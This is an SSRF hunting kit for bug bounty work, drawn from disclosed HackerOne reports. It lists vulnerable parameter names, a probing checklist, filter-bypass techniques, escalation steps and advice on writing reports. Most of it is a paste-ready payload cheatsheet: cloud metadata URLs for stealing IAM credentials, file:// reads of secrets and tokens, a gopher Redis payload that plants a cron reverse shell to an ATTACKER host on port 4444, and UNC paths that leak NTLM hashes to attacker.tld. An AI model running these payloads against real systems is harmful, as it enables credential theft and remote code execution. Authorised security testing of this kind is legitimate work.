SSRF Hunting Kit
Every parameter name, payload, filter bypass and escalation step for hunting Server-Side Request Forgery — extracted from 217 disclosed HackerOne reports and laid out to paste, not to read.
This kit distils the techniques observed across 217 disclosed reports. Read the full analysis
1. Where It Hides
# Generic URL sinks
url uri src href link target dest destination endpoint location
path host hostname domain site page addr address server
# Fetch / import / mirror
import_url fetch_url load_url source_url remote_url origin_url
download_url file_url media_url attachment_url document_url
remote_attachment_url # GitLab #826361 — $10,000, highest in the dataset
imageUrl image_url icon_url avatar_url logo_url thumbnail_url
preview_url og_url unfurl link_preview embed_url oembed
# Callback / integration surfaces (23 reports in the dataset)
callback callback_url webhook webhook_url notify_url hook
postback_url return_url notification_endpoint sink_url
smtpHost sieveHost imapHost # Nextcloud filed five reports through these
ldap_url ldap_host proxy proxy_url upstream backend_url
sso_url metadata_url jwks_uri issuer well_known_url
# Redirect-flavoured params that reach a server-side fetcher
next redirect redirect_uri redir return continue forward
out view show data feed rss xml_feed
# Cloud / infra config fields
s3_endpoint bucket_endpoint region_endpoint registry_url
api_base base_url instance_url tenant_url git_url repo_url
FEATURES THAT FETCH (NO URL PARAM VISIBLE)
- • PDF / report export — headless Chrome, wkhtmltopdf, Puppeteer. HackerOne's own #2262382 was an iframe in an analytics template. CVSS 10.0.
- • SVG upload —
<image href>,<use>, external CSS. Shopify #223203. - • Any XML/DOCX/XLSX/SVG parser — XXE is SSRF with extra steps. Uber #448598.
- • Video / image transcode — FFmpeg HLS playlists. TikTok #1062888.
- • Markdown renderers, HTML sanitisers, link unfurlers, favicon fetchers.
- • "Test connection" buttons on every integration settings page.
HEADERS AND NON-BODY VECTORS
- •
X-Forwarded-Host,X-Forwarded-Server,Host— routed proxies and cache warmers. - •
Referer— analytics backends that re-fetch the referring page. - •
X-Original-URL/X-Rewrite-URL— Nginx and Symfony front controllers. - •
Forwarded,X-Api-Versionpointing at a schema URL. - • OpenAPI / GraphQL schema-stitching URLs, MCP tool arguments (#3176157).
- • Windows targets: UNC paths in any path field leak NTLM (#2585385).
2. The Hunting Checklist
FIRST PROBE TO CONFIRMED IMPACT
Tool: Burp Suite history filter,
gau + gf ssrf, ParamSpider.Positive: a parameter whose value is echoed back as fetched content, or a 5xx that differs from a bad-value 400.
Tool: Burp Collaborator,
interactsh-client, ngrok.Positive: an HTTP hit, not just DNS. Record the source IP — if it is a cloud egress range, not the app's public IP, you are inside the VPC.
Tool: a static file on your own box.
Positive: your marker string is rendered anywhere. Full-read is 8 of 217 reports and the highest-severity band — stop and go straight to step 5.
file://, gopher://, dict://, ftp://, ldap://, then a 302 from your host to 169.254.169.254.Tool: a one-line redirector;
Gopherus for protocol smuggling.Positive: the redirect is followed. Client libraries validate the first URL and follow hops blind — Kubernetes #1544133.
Tool:
ffuf against the vulnerable parameter with a port wordlist; watch response length and time.Positive: a body you were never meant to see, or a clean split between connection-refused and connect-then-timeout.
Tool: a rebinding host (
rbndr.us, 1u.ms), nip.io for static mapping.Positive: defeating a deployed control is its own finding — 22 of 217 reports did exactly that, including two against Stripe's purpose-built Smokescreen proxy.
3. Payload Cheatsheet
# AWS IMDSv1 — no auth, the whole ballgame. Enumerate the role name first.
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-from-previous-line>
http://169.254.169.254/latest/user-data/ # bootstrap scripts, often hardcoded secrets
http://169.254.169.254/latest/dynamic/instance-identity/document
http://[fd00:ec2::254]/latest/meta-data/ # IPv6 IMDS — frequently missed by IPv4-only blocklists
# AWS ECS / Fargate task role — different IP, different path
http://169.254.170.2/v2/credentials/ # append the UUID from $AWS_CONTAINER_CREDENTIALS_RELATIVE_URI
http://169.254.170.2/v2/metadata
# GCP — v1 needs "Metadata-Flavor: Google". v1beta1 historically did not.
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
http://169.254.169.254/computeMetadata/v1/project/project-id
# Azure — needs "Metadata: true"
http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
# Others
http://100.100.100.200/latest/meta-data/ # Alibaba Cloud — inside CGNAT, rarely blocklisted
http://169.254.169.254/metadata/v1.json # DigitalOcean
http://169.254.169.254/opc/v1/instance/ # Oracle OCI (v2 requires Bearer Oracle)
http://169.254.169.254/openstack/latest/meta_data.json
# Unauthenticated-by-default services. Hitting these is instant high severity.
http://127.0.0.1:2375/version # Docker API — no auth by default, RCE via container create
http://127.0.0.1:6379/ # Redis — see gopher payload below
http://127.0.0.1:9200/_cat/indices # Elasticsearch — full index dump
http://127.0.0.1:8500/v1/kv/?recurse # Consul KV — secrets store
http://127.0.0.1:2379/v2/keys/?recursive=true # etcd — Kubernetes cluster state
http://127.0.0.1:10250/pods # kubelet read-only / run endpoint
http://127.0.0.1:11211/ # memcached
http://127.0.0.1:27017/ # MongoDB
# Usually authenticated, but worth reading the banner
http://127.0.0.1:8200/v1/sys/health # Vault
http://127.0.0.1:3000/ # Grafana — GitLab #878779 read an internal Grafana this way
http://127.0.0.1:9090/api/v1/targets # Prometheus — leaks the whole internal service map
http://127.0.0.1:5601/api/status # Kibana
http://127.0.0.1:15672/api/overview # RabbitMQ management
http://127.0.0.1:8080/ :8000 :8888 :9000 :4444 :7001 # app/admin panels
# Alternate loopback spellings, in case 127.0.0.1 is string-matched
http://localhost/ http://127.1/ http://0/ http://[::]/ http://[::1]/
http://0.0.0.0:6379/
# Kubernetes in-cluster (the SA token is on disk, not here — pair with file://)
https://kubernetes.default.svc/api/v1/namespaces/default/secrets
# file:// — try these before assuming the scheme is blocked
file:///etc/passwd
file:///proc/self/environ # env vars: DB creds, API keys, AWS_* variables
file:///proc/self/cwd/.env
file:///proc/net/tcp # listening ports in hex — a free internal port scan
file:///var/run/secrets/kubernetes.io/serviceaccount/token
file:///root/.aws/credentials
file://\/\/etc/passwd # slash-mangling bypass for naive scheme filters
netdoc:///etc/passwd # Java-specific alias for file://
# gopher:// — arbitrary TCP bytes. This is what turns SSRF into RCE.
# Redis: write a cron entry. %0d%0a is CRLF; each command is RESP-encoded.
gopher://127.0.0.1:6379/_%2A1%0d%0a%248%0d%0aflushall%0d%0a%2A3%0d%0a%243%0d%0aset%0d%0a%241%0d%0a1%0d%0a%2A64%0d%0a%0a%0a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FATTACKER%2F4444%200%3E%261%0a%0a%0d%0a%2A4%0d%0a%243%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%243%0d%0adir%0d%0a%2A10%0d%0a%2Fvar%2Fspool%2Fcron%0d%0a
# dict:// — cheap banner grab, works where gopher is stripped
dict://127.0.0.1:6379/info
dict://127.0.0.1:11211/stats
# Windows: UNC path leaks the service account NTLM hash to your SMB listener
\\attacker.tld\share\x # Apache CVE-2024-38472 / #2585385
//attacker.tld/share/x
# XXE-as-SSRF, for any XML/SVG/DOCX intake
<!DOCTYPE r [<!ENTITY x SYSTEM "http://169.254.169.254/latest/meta-data/">]><r>&x;</r>
# HTML injected into a server-side PDF/screenshot renderer
<iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" width=1000 height=1000>
<img src="http://169.254.169.254/latest/user-data/">
<link rel=stylesheet href="http://127.0.0.1:8500/v1/kv/?recurse">
4. Filter and Control Bypasses
Work this table top-down: the cheap string tricks first, rebinding last. Each row links a report where the technique defeated a control the target had actually deployed.
| Technique | Payload | Why it works |
|---|---|---|
| IPv6-mapped IPv4 | http://[::ffff:169.254.169.254]/ — #2301565 | The validator parses an IPv6 literal and never compares it against IPv4 deny ranges; the socket connects to v4 anyway. |
| Decimal / octal / hex | http://2130706433/ http://0177.0.0.1/ http://0x7f000001/ | inet_aton() accepts all four notations. Regex-based checks only ever match dotted-quad. |
| Short-form loopback | http://127.1/ http://0/ http://[::]/ | Missing octets are zero-filled at connect time. 0 resolves to 0.0.0.0, which the kernel routes to localhost. |
| Trailing dot | http://metadata.google.internal./ — #1410214 | The FQDN root label is stripped by the resolver but not by the string comparison. Defeated Stripe's Smokescreen deny_list. |
| Double brackets | http://[[::1]]/ — #1580495 | Second Smokescreen bypass. The proxy's parser and the HTTP client disagree on where the host ends. |
| Hostname truncation | 256+ char host ending in 0x00007f000001 — #2429894 | libuv truncated the name to a fixed buffer, so the validated string and the resolved string were different. $4,860. |
| Credential-host confusion | http://expected-cdn.com@169.254.169.254/ | Everything before @ is userinfo. Naive parsers read it as the host; the client reads what follows. |
| Fragment / null truncation | http://169.254.169.254#@expected-cdn.com http://169.254.169.254%00@cdn.com | Parser disagreement on where the authority terminates — the class Orange Tsai built a career on. |
| Protocol-relative | //169.254.169.254/latest/meta-data/ | Skips a scheme allowlist entirely; the client inherits the caller's scheme. |
| Wildcard DNS mapping | http://169.254.169.254.nip.io/ http://make-127-0-0-1.1u.ms/ | The name looks external and public. Resolution returns the embedded internal IP. Beats hostname allowlists, not resolved-IP checks. |
| Open redirect chain | http://target.com/out?to=http://169.254.169.254/ — #1544133 | The first URL passes validation; the 30X hop is followed unvalidated. Chain the target's own open redirect and even domain allowlists fall. |
| DNS rebinding | rbndr.us / 1u.ms host with TTL 0 — #1369312, #2115212, #3176157 | Two lookups: the check-time one returns a public IP, the connect-time one returns 127.0.0.1. Beats every resolve-then-fetch validator that doesn't pin the IP. |
| Case and Unicode host mangling | http://METADATA.google.INTERNAL/ http://169。254。169。254/ | Case-sensitive string compares miss the first. The ideographic full stop is normalised to . by browser-grade URL parsers — relevant for headless-Chrome renderers. |
| Alphanumeric IP forms | See #1702864 | Non-numeric spellings of an address slip past validation that assumes an IP is digits and dots. Paid $250 against Nextcloud. |
5. Escalation Ladder
FROM CALLBACK TO CHEQUE — CLIMB AS FAR AS SCOPE ALLOWS
aws sts get-caller-identity, redacted in the report — and then stop. HackerOne #2262382 is the reference: iframe into a PDF template, CVSSv3 10.0.6. Report-Writing Notes
INCLUDE, OR GET DOWNGRADED
- • The raw request and response, as text you can copy — not only a screenshot.
- • The OOB interaction log with timestamps and the source IP. Tie it to the request that caused it.
- • Proof the fetcher is server-side: the source IP is not yours, and the request arrives with no browser headers.
- • The internal response body, or the timing table for open vs closed ports if the bug is blind.
- • Instance ID / hostname / role name from the metadata document — this names the affected asset for the defender.
- • One redacted
sts get-caller-identityif you reached credentials. Nothing beyond it. - • A remediation line: allowlist plus DNS pinning plus IMDSv2, not "block 169.254.169.254".
CALIBRATE THE SEVERITY YOU ASK FOR
7. Known Dead Ends
LOOKS LIKE A BUG, PAYS LIKE NOTHING
X-aws-ec2-metadata-token-ttl-seconds on a PUT. If you only control a URL, you are not stealing those credentials — you need header control (gopher, CRLF injection) or a full browser-grade fetcher. Do not claim credential theft you cannot show., , ) and the metadata IP instead.Report numbers, severity distribution and bounty figures on this page are drawn from the 217 disclosed HackerOne SSRF reports analysed in the companion case study. Test only against targets whose program scope permits it.